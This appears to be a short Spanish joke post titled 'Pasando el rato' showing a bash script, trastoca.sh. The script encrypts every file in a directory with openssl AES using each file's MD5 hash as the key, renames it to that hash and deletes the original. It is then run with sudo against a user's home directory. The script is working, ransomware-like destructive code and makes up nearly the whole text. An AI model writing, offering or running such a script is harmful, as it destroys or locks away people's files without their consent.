Pasando el rato

$ cat trastoca.sh
#!/bin/bash

[ -d "$1" ] || exit 1
IFS="
"
for F in $(find "$1" -type f )
do
	O="$(md5sum "$F" | awk '{print $1}')"
	(cat "$F" | openssl enc -aes-256-cbc -k "$O" > "$1/$O") && rm -f -- "$F"
	echo "$O $F"
done

$ sudo trastoca.sh /home/$LUSER
...